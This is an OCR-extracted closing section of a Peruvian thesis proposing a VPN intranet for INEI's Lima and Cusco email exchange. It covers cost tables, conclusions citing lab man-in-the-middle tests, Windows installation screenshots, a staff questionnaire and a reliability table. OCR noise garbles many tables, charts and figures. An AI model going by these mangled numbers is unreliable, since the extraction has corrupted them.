E 3 Windows 7 Professional S/.0.00 S/.0.00
LL
O
» Kali Linux S/.0.00
8 Servicio de Luz (S/.65.00 por afio y medio) S/. 1170.00
O
2
E)J Servicio de Internet (S/.96.30 por afio y medio) S/.1733.40
S
|rJ_: Papeleria S/. 500.00
O
COSTO TOTAL S/. 13514.40

Tabla 24. Costos de Investigacion del proyecto — Fuente (Elaboraciéon Propia)

Br. JENNY MAR SEGUNDO

DERECHOS DE AUTOR RESERVADOS

106




~
"'Im m\“\\\\

A% UNNED@S[DAD ANDlNA DI CU(%CO

Repositorio Digital

de Tesis

mtercamblo de Informauon entre Ias Sedes L|ma Cusco del INEI Caso Servidor De Correos

7.2 COSTOS DE IMPLEMENTACION DEL PROYECTO

COSTO COSTO
\ ESPECIFICACIONES | CANTIDAD ESPECIFICO GENERAL
L $. 206.48
EE: (Tipo de cambio del
= Router Cisco? 2 dolar 3.34)% S/. 1379.28
< SI. 689.64
$. 1500.00
(Tipo de cambio del
" g Windows Server 2008 r23! dolar 3.34)3?
x 2 S/. 5010.00
E < REETS S/. 5460.90
®) (<.ED (Tipo de cambio del
“a Windows 7 Professional®® délar 3.34) (Cuanto
cuesta el dolar, 2016)
S/. 450.90
Servicio de Luz
8 0 (pago mensual aproximado)3* S/. 3200.00
3 S Servicio de Internet
-] O
3 5 (pago mensual: 2Mb) (INEI, 2016)3® S/. 2500.00 S/. 7900.00
@) w
LLl n _ ;
) Recursos Humanos Ingé68|stemas S/ 9200.00
(pago mensual)
Servicio de Luz
< 0 (pago mensual aproximado) S/. 5000.00
= O
3 O Servicio de Internet
I-IDJ > (pago mensual: 4Mb) S/. 4500.00 S/. 12000.00.
L L
n n Recursos Humanos — Ing. Sistemas
COSTO TOTAL S/. 26740.18

Tabla 25. Costos de Implementacion del proyecto — Fuente (Elaboracién Propia)

2% (Amazon, Amazon, 2016)

(
30 (Cuanto cuesta el ddlar, 2016)
31 (Amazon, Amazon.es, 2016)
32 (Cuanto cuesta el délar, 2016)
33 (Amazon, Amazon.es, 2016)
34 (INEI, 2016)
35 (INEI, 2016)
36 (INEI, 2016)
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e DESCRIPCION DE COSTOS
e COSTOS DE INVESTIGACION DEL PROYECTO

Algunos de los costos sefalados en el cuadro de costos de investigacion del
proyecto, son referenciales debido a que ya se contaba con algunos de ellos
(Pc’s de escritorio, laptops, routers, cables de red), con referencia los softwares
el costo sefialado es de S/. 0.00 debido a que ya se tenian instalados en las
maquinas utilizadas y finalmente en cuanto a los servicios y al costo de papeleria
si sefalan el costo real utilizado.
e COSTOS DE IMPLEMENTACION DEL PROYECTO

Los precios sefialados de los servicios de las sedes Lima — Cusco del INEI,
fueron extraidos tomando como referencia los datos Internos de la institucion, en
cuanto al costo sefialado de la licencia de Windows 7 Professional es con
referencia de Microsoft pero cabe sefialar que actualmente las maquinas de los
trabajadores de las areas administrativas ya cuentan con dicha licencia en
ambas sedes, finalmente en cuanto al costo del router y a la licencia de Windows
server 2008, serian la Unica inversion que realizaria la entidad para la

implementacion de la intranet via VPN.
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GLOSARIO
e [INEI . Instituto Nacional de Estadistica e Informatica
e ISO . International Organization for Standardization
e TCP : Transmission Control Protocol
e VPN : Virtual Private Network

e PPTP : Point To Point Tunneling Protocol

e PC : Computadora Personal

¢ DNS : Domain Name System

e CISCO : Empresa Lider en Tecnologias de la Informacion
e HTTP : Protocolo de Transferencia de Hipertexto

e HTTPS : Version segura del Protocolo http

o L2TP : Layer 2 Tunneling Protocol

e LAN . Local Area Network

e |IPSEC : Ip Security

e SSL . Secure Socket Layer

e |IS . Internet Information Services

e AD . Active Directory

e SMTP : Simple Mail Transfer Protocol

e DNS : Domain Name System

e NPS : Servidor de Directivas de redes

e NPAS : Servicio de Acceso y Directivas de Redes
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CONCLUSIONES

1. Se elaboro la propuesta de implementacion de una intranet via VPN para mejorar
la confidencialidad del intercambio de informacion entre las sedes Lima — Cusco
del INEI, donde se pudo observar que, sin la conexion a la intranet via VPN el
atacante no solo pudo observar el trafico que generod su victima sino que éste a
su vez pudo extraer con facilidad la informacion de ésta (cuenta de usuario y
contrasefia vista en la imagen 88), en cambio con los resultados obtenidos con la
conexién a la intranet via VPN realizada por la victima, el atacante no pudo tener
acceso al trafico que generd su victima ni a su cuenta de usuario y contrasefa
(vista en la imagen 89), por ende queda demostrado que con la implementacion
de una intranet via VPN si se mejora la confidencialidad de la informacion.

2. Se simulé el intercambio de informacion por medio del servidor de correos entre

las cuentas alina@inei.com y CarlosPerez@inei.com (clientes VPN), dando como

resultado una comunicacion exitosa entre ambas cuentas.

3. Se configurd un servidor de correos para la prueba de funcionalidad de la intranet,
para ello se realizaron los ataques man in the middle en dos escenarios de prueba
con conexion a la intranet y sin conexion a la intranet via VPN, en donde se obtuvo
que con la conexién a la intranet (vista en la imagen 89), el atacante no pudo
observar absolutamente nada del trafico que generé la victima, ni su cuenta de
usuario, ni su contrasefa, por ende se puede decir que la VPN asegura toda la
informacion que maneje un cliente VPN en su cuenta de correo.

4. La VPN aseguro la integridad de la informacion enviada del emisor al receptor,

para demostrar dicha afirmacion se realizé una prueba de envio y recepcion de

informacion entre dos cuentas, alina@inei.com (emisor — Img.72) para

CarlosPerez@inei.com (destinatario — Img. 73), en donde se puede dar fé de la
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integridad de la informacion, es decir que: tal como “alina” envié la informacion
al destinatario “Carlos Perez”, éste recibié el mensaje conforme “alina” lo envié.
5. Se verifico la disponibilidad de la informacién por medio del servidor del correos

segun la prueba de envio de la informacion realizada por alina@inei.com para el

destinatario CarlosPerez@inei.com (vista en la imagen 73), donde se pudo

observar que la informacién queda a la disponibilidad del receptor cuando éste lo

requiera en su bandeja de entrada.

6. Se determinaron los costos de investigacion del proyecto donde sefialan los
costos del hardware, software y servicios utilizados durante tiempo de

investigacion del proyecto, dando un total de S/. 13514.40.

7. Se determinaron los costos de implementaciéon del proyecto, dando la posibilidad
de que el proyecto pueda ser adquirido por el INEI, ya que ésta institucion por
pertenecer al estado, éste podria aportar econOmicamente para la adquisicion del
presente gracias a la mejora de la confidencialidad de informacion que ofrece, el

costo total de implementacion es de S/. 26740.18.
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RECOMENDACIONES

1. Implementar en el INEI algunas de las politicas de seguridad estipuladas en
estandares o normativas de gestion de seguridad de la informacion.

2. Si se deseara realizar la implementacion de una intranet via VPN para
interconectar las demas sedes del INEI las cuales se encuentran ubicadas a
nivel nacional, se recomienda utilizar L2TP para maximizar la seguridad y
confidencialidad de la informacion.

3. Se recomienda adquirir dos routers uno para cada sede del INEI (sede Lima -

Cusco) para el uso exclusivo de la intranet via VPN.
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ANEXOS
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ANEXO 1

ORGANIGRAMA INEI SEDE LIMA

Sub Jefatura de
Estadistica [(SI1E)

Secretaria Ceneral
3G}

Oficina Técnica de
Inspectoria Interna

(Ol
: ﬁ':.f‘ng"ﬂrfdﬁ ée Oficina de Defensa

Dhireccion Diireccion
Técnica de
Indicadores
F_cnnnmlcus

Director
Nacional de
Cuentas

Diireccion
Nacdonal de

Censos y
Encuestas
el K

Nadonales
1[]

ina Tecnica Y Oficina Técnica J§ ‘Oficina Técnica Dficina Tecnica

_de de Difusion de Informatica de Estadisticas
Administracion HOTDY (OTIND Departamentales

OTAY (OTED)

Escuela Ci nnal de

Estad
Infurrnil‘.lc.a {EHEI}

Centro de Officinas.
Investigacion y Departamentales y
Desarrollo (CIDE) Fonales (ODEIs)

Img 89. ANEXO 1 - Organigrama INEI sede Lima, Fuente (INEI)
Cabe sefialar que las sedes del INEI que se encuentran ubicadas a nivel nacional se encuentran dentro del drea de ODEls.3’
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ANEXO 2

ORGANIGRAMA INEI SEDE CUSCO

Oficina Técnica Oficina Técnica Oficina Técnica Oficina Técnica

de de Informatica de Economia de Estadistica

Administracion

Secretaria EscuelaNacional Oficina Técnica
de Estadistica e de Censos y

Informatica Encuestas

Img 90. ANEXO 2 - Organigrama INEI sede Cusco, Fuente (INEI)
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ANEXO 3

ORGANIGRAMA DE AREAS ADMINISTRATIVAS EN COMUN SEDES LIMA — CUSCO DEL INEI

Oficina Técnica Oficina Técnica Direccion Oficina Técnica
de de Informatica Técnica de de Estadisticas
Administracion Indicadores Departamentales

Econdmicos

Secretaria Escuela Nacional Direccién
General de Estadistica e Nacional de
Informatica Censos y

Encuestas

Img 91. ANEXO 3 - Organigrama de areas administrativas en comun del INEI sedes Lima - Cusco, Fuente (Elaboracion Propia)
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ANEXO 4

CUESTIONARIO PARA EL PERSONAL ADMINISTRATIVO EN

COMUN DE LAS SEDES LIMA — CUSCO DEL INEI
TITULO DE LA TESIS

Propuesta de implementacion de una Intranet via VPN para mejorar la confidencialidad del
intercambio de informacién entre las sedes Lima — Cusco del INEI
CASO: Servidor de Correos

OBJETIVO DEL CUESTIONARIO

Verificar de qué manera actualmente se lleva a cabo el intercambio de informacién
entre las sedes Lima — Cusco del INEIL.

NOMBRES Y APELLIDOS

Las siguientes preguntas se realizaron a los trabajadores de las areas
administrativas de las sedes Lima — Cusco del INEL
1) ¢ Actualmente en la institucion se utilizan correos no institucionales para el
envio y recepcién de informacion confidencial?
Si () -> Hotmail ( ) Gmail ( ) otros ( )
No ( ) ¢Porqué?

2) ¢Ud. Posee una cuenta de correos institucional?
Si ()
No () ¢Porqué?

3) ¢Utiliza su cuenta de correo no institucional para el envié de informacion
laboral y confidencial?
Si ()

No ( ) ¢Porqué?
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4) ¢Qué informacién confidencial es la que se envia por estas cuentas?
a) Acuerdos de proyectos a nivel nacional a realizar
b) Envio del monto econémico por cobrar
c) Agenda a tratar en reunion
) OO, .t
5) ¢Le gustaria que se implemente un correo institucional para el envio y
recepcion de informacién netamente institucional?
Si ()
No ( ) ¢Porqué?

Las siguientes preguntas se realizaron so6lo al personal de las areas
informaticas de las sedes Lima — Cusco del INEL.
6) ¢Existen antecedentes de vulnerabilidades de informacion anteriormente

realizadas a alguna cuenta?

Si () ¢Como cuéles?
No ()

7) ¢Se cuenta con medidas de seguridad en caso de posibles ataques?
Si () ¢Como cuales?
No ( ) ¢Porqué?

8) ¢Estaria de acuerdo con la implementacion de una intranet via VPN para
interconexion de las sedes Lima — Cusco del INEI?
Si () ¢Porque?
No ( ) ¢Porqué?
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ANEXO 5

INSTALACION DEL SISTEMA OPERATIVO: WINDOWS
SERVER 2008 R2

Para inicializar la instalacion del sistema operativo Windows server 2008, ejecutar
el CD, seguidamente realizar los siguientes pasos
Seleccionar el tipo de idioma, formato de hora — moneda y finalmente elegir el tipo

de configuracién del teclado, segun se muestra en la siguiente imagen.

% Instalar Windows

;i
. .
Windows Server 2008

Idioma que va a instalar:

el T ER R BL B Fopafiol (Espaiia, internacional)

Teclado o método de entrada: Espafol

idioma y las preferencias adicionales y después haga clic en "Si " para continuar,

- X

Img 92. Idioma, Formato de horay teclado de entrada de Windows Server 2008 —
Fuente (Elaboracion Propia)
Pulsar sobre la opcién “instalar ahora” para poder iniciar con el proceso de

instalaciéon del sistema operativo.

» Instalar Windows

~J
. "
Windows Server 2008

Instalar ahora "'

Img 93. Inicio de Instalacion Windows Server 2008 — Fuente (Elaboracién Propia)
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Indicar la clave del producto para su activacion.

£7 Instalar Windows

Escriba la clave de producto para efectuar la activacion

La clave de producto estd en el equipo o en el estuche del disce de instalacién dentro del paquete de

Windows. Mo necesita escribir la clave de producte ahora para realizar la instalacion, perc el no hacerlo
puede provocar la pérdida de informacicn, datos y programas. Ademas, es posible que necesite adquirir
otra edicidn de Windows, Se recomienda escribir la clave de identificacidn del producto ahora,

La etiqueta con la clave de producto es similar a |a siguiente:

> et
DONCICN 0w 000 D00 B0 000 @ MMM« NN NN

Clave de producte (los guicnes se agregaran automaticamente):

I YQGMW-MPWTJ-34KDK-48M3W-X4Q E‘-:I E=

W Activar Windows automaticamente cuando me conecte a Internet

:Qué significa la activacion?

Leer la declaracién de confidencialidad Siguiente

—
Img 94. Serial para Activacién Windows Server 2008 — Fuente (Elaboracion
Propia)

Seleccionar la version “Windows Server 2008 Enterprise (Instalacion Completa)”,

para tener una interfaz grafica y llevar a cabo las configuraciones.

@ £7 Instalar Windows

Seleccione el sistema operative que desea instalar.

Sistermna operative | Arquitectura Fecha de mo...

Windows Server 2008 Standard (instalacién completa) XEG 19,/01,/2008

Windows Server 2008 Enterprise (instalacion completa) 19/01/2008

Windows Server 2008 Datacenter (instalacién completa) XEG 19,/01,/2008

Windows Server 2008 Standard (instalacion Server Core) XBo 19,01,/2008

Windows Server 2008 Enterprise (instalacidén Server Core) XEG 19,/01,/2008 .
Windows Server 2008 Datacenter (instalacidn Server Core) XBG 19,01,/2008

Descripcién:
Esta opcign gjecuta la instalacion completa de Windows Server, Esta instalacion incluye |a interfaz
de usuaric en su totalidad y admite todas las funciones del servidor,

[ Siguiente
—

Img 95. Version Windows Server 2008 Enterprise — Fuente (Elaboracion
Propia)
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Aceptar los términos de licencia.
F |

@ £7 Instalar Windows ﬁ

Lea los términas de licencia

TERMINOS DE LICENCIA DEL SOFTWARE DE MICROSOFT ﬂ
MICROSOFT WINDOWS SERVER 2008, ENTERPRISE

Los términos de esta licencia son un contrato entre Microsoft Corporation (o, en funcidn
de donde viva, una de las sociedades del grupe) y usted. Sirvase leerlos detenidamente. '
Estos términos son de aplicacidn al softwiare arriba mencionade, el cual incluye, en su
caso, los medios en los que lo haya recibido. Estos términos de licencia también seran
de aplicacidn a los siguientes elementos de Microsoft:

00 Actualizaciones.

00 Suplementos.

00 Servicios basados en Internet.

[

[V iAcepto los términes de licencia

Img 96. Términos de Licencia Windows Server 2008 — Fuente (Elaboracién
Propia)
El tipo de instalacion que se ha de elegir es “Personalizada (Avanzada)’.

@ £7 Instalar Windows &J

;Qué tipo de instalacion desea?

Actualizacion

Actualice Windows y conserve los archivos, la configuracién y los programas
actuales,

Aszeglrese de hacer una copia de seguridad de sus archivos antes de actualizar,

Ayudarme a decidir

La actualizacién esta deshabilitada

- Para actualizar, inicie la instalacidn a partir de Windows,

Img 97. Tipo de Instalacion — Fuente (Elaboracién Propia)
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Seleccionar y asignar tamario a la particion en donde se ha de instalar el sistema

operativo.

@ £7 Instalar Windows

;Donde desea instalar Windows?

|Nombre Tamafho tetal | Espacio disp.. | Tipo

‘ — Disco 0 Particidan 1 933 GB 933 GB Principal

3 Actuslizar #< Eliminar glayonnatc

% Cargar controjador ﬁgx‘tencler

Img 98. Seleccionar Particién para la Instalacion Windows Server 2008 —
Fuente (Elaboracion Propia)

Esperar a que se lleve a cabo el proceso de instalacion y finalizacién del Sistema

Operativo Windows Server 2008 r2 Enterprise.

£7 Instalar Windows

Instalando Windows... [%

Esta es toda la informacién que se necesita en este momente. El equipo se reiniciard varias veces
durante la instalacicn,

Copiando archivos

Expandir archivos (10%) ...

Img 99. Proceso de Instalacion y Finalizacion de Windows Server 2008 —
Fuente (Elaboracion Propia)
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ANEXO 6

INSTALACION DEL SISTEMA OPERATIVO: WINDOWS 7

Ejecutar el DVD de instalacion de Windows 7, configurar el idioma, formato de

fecha - hora y el tipo de teclado, segun se muestra en la siguiente imagen.

% Instalar Windows '

Windows 7

Formato de hora y moneda: [Espariol (Pert)

Teclado o método de entrada: [alslerl st el

Especifique el idioma y las preferencias adicionales y después haga clic en "Sit

Copyright © 2009 Microsoft Corporation. Reservados todos los derechos.

Img 100. Configuracion de Idioma, Fechay Tipo de teclado — Fuente
(Elaboracién Propia)

Pulsar sobre la opcion instalar ahora, para dar inicio al proceso de instalacion de
Windows 7.

% Instalar Windows

-
Windows 7

‘Instalar ahgra @

Img 101. Inicio de Instalacion de Windows 7 — Fuente (Elaboracién Propia)
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Aceptar los términos de licencia.

Lea los términos de licencia

TERMINOS DE LICENCIA DEL SOFTWARE DE MICROSOFT
WINDOWS 7 PROFESSIONAL
Los presentes términos de licencia constituyen un contrato entre usted y

el fabricante del equipo que distribuye el software con el equipo o

el instalador del software que distribuye el software con el equipo.
Le rogamos que los lea atentamente. Son de aplicacion al software antes mencionado, el
cual incluye los soportes fisicos en los que lo haya recibido, si los hubiera. Los términos
de la licencia en papel impreso que se puedan incluir con el software ccupan el lugar de

cualquier término de licencia en pantalla. Estos términos también se aplicardn a los
siguientes elementos de Microsoft

il

[V iAcepto los términos de licencia

Img 102. Términos de Licencia Windows 7 — Fuente (Elaboracién Propia)

Seleccionar el tipo de instalacion “Personalizada (Avanzada)”.

;Qué tipo de instalacion desea?

Actualizacidn

Actualice a una version mas reciente de Windows y conserve los archives, las
configuraciones y los programas. La opeién de actualizacidn sélo estd disponible al
gjecutar una versién existente de Windows. Es recomendable que haga una copia de
seguridad de los archivos antes de continuar.

Ayudarme a decidir

Img 103. Tipo de Instalacién Windows 7 — Fuente (Elaboracion Propia)
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Para la instalacion del sistema operativo, crear una nueva particion, para ello,

seleccionar “Opciones de unidad”, nuevo, asignar tamafio y aplicar.

(55 o oo o DR —— | =]

;Dénde desea instalar Windows?

| Nombre Tamafic total | Espacie disp... | Tipo |
= Disce 0 Particion 1: Reservado para el sist 100.0 MB 86.0MB  Sisterna
‘__ V" Disce 0 Particicn 2 229 GB 228 GB  Principal ‘
v, Espacio sin asignar en el disco 0 1.5GE 1.5GE I
¢ Actualizar 7% Eliminar & Formatear Hueve

% Cargar controlador 3 Extender

Img 104. Particion Asignada para Windows 7 — Fuente (Elaboracion
Propia)
Esperar a que el sistema operativo se instale, asignar un nombre de usuario y

nombre de equipo a la maquina de escritorio del cliente, se recomienda colocar el
nombre de la persona que hara uso de la maquina en los campos de nombre de
usuario y nombre del equipo. Seguidamente asignar una contrasefa a la cuenta

del cliente, de preferencia utilizar letras mayudsculas, mindsculas, nimeros.

) o Instalar Windows

Establezca una contrasefia para su cuenta

La creacién de una contrasefa es una precaucion de seguridad inteligente que ayuda a proteger
la cuenta del usuaric ante usuarios no deseados, Aseglrese de no clvidar la contrasefia o de
guardarla en un lugar segure.

Ezcriba una contrasena (recomendado):
(LI L1L1]]

Vuelva a escribir la contrasefa:

(LI L1L1]]

Escriba un indicio de contrasefa (requeride):
VPN

Elija una ralal"m o frase que le ayude a recordar la contrazefa.
31 la olvidara, Windows le mos trara el indlicio de contrasefia,

Img 105. Asighacién de contrasefia a la maquina del cliente —
Fuente (Elaboracion Propia)
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Configurar la fecha — hora y la zona horaria.

@ 4 Instalar Windows

Revise la configuracion de hora y fecha

Zona horaria:

(UTC-05:00) Begeta, Lima, Quito -
Fecha: Hora:
1 mayo de 2015 L4 N = ,\
do lu ma mi ju vi sa S _,\‘\
26 27 28 9 30 1 2 . |
34 5 6 7 8 9 = ¢ 3
10 11 12 13 14 15 16 N\ v
17 18 19 20 21 22 23 \ Vy
v
(34)25 6 27 28 29 20 \ I
1 2 3 4 5 @ —
09:11: 24 pom =

Img 106. Configuraciéon de Fecha, Horay Zona Horaria — Fuente
(Elaboracion Propia)

Finalmente indicar la contrasefia anteriormente establecida para el inicio de sesion.
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0 §i gooooo0o00O0OOQOCOQCOQOCOQCOQOCOCOCOQODODODOCOCOCOQCCOTOOCOCOCOCOCODCOCOCOCODODOCOCOQCCDOCOODOCOCODODOCOCOODCOCOQCODCOCODODCOQCOCOCDODO0OCODDOOQOOQ 0 0 0.00
EITEMZ no T e O e A S A e s e A A A A A A A A A A A A b8 5 0.00
g §i T O e S S S e A A A A A O A O A A b3 5 0.00
EITEM3 no 00000000000000000000000CO00CO0CO0OC0CCO0COD0COCO0OCO0CO0OCDODO0CO0CCO0COCO0CD0OCO0CCO0CO0CO0CCO0CO0OO0CCO0CO0CQO0CO0CO0CDO0QDO0CO0CO0CDO0CQO0CO0Q0D0O0QD0DOD0DO0CO0CTO0] 0 0 0,00
z Acverdos (1111111111 1111111111111t 111101111010 1101110000000 0000000000000000000000°C0 3 3 0.4
ElTEM4Montoeconom\'collllllllll1111110000000000000000000000000000000000000000000000000000 16 1 0.18
q Agenda 1111111111 00000000000000000000000000000000000000000000000000000000°¢0°0 10 1 013
j: (tros ttrt1o0000000000O0CO0QCCOQCOQOQOCOCDODCOCOTOCOQCOCOCODODDCOCOOCOQCCODCOCOCOCOQCCOCOTDCOODOCOCOCD0ODCO0ODCO0OO0OCO0QCO0QCCO0QCODOCOOCO0QCO0OCCO0ODO0ODCO0OCDDOOO 3 0 0.04
5 §i T e O e A e A A A A S A ) | ) ) O  (  { 39 3 0.4
2ITEM5 no frr11111rrr1rrrrrrrrr1rrrrrrrL1L0000000000O0O0OCO0CO0DCO0CO0O0OOD0CO0CDO0CO0CO0ODO0CO0CODDODO0OO0C0CO0O0CD0DD0DO0TO0ODD0DO0O 9 1 0.24
E §i T e O e A e e S A S e A A A A A A A A A A A A A (A A b5 5 0.04
[TEM 6 no ttrt1o0000000000O0O0QCCO0QCCOOOCOCDODCOCOTDODCOQCOOCODDODOOOCOCDODCOCOOOQCCOOTDCOODCOCOODOOOO0OCO0QCO0QCCOQCODOCOOCOQCCOCOODODO0OCDODDOOOUO 3 0 ?%
DONDE: seccion 1 seccion 2
k numero de items -
Varianzas K EVl
Voo indiidua K:m 1'W
varianza total {0
Wt alh)
k b
Suma Vi 117
Wt 44
section 1 1
section? 07
ALFA DE
CRONBACH 0.88




	Tesis Jenny Mar Segundo
	anexo final

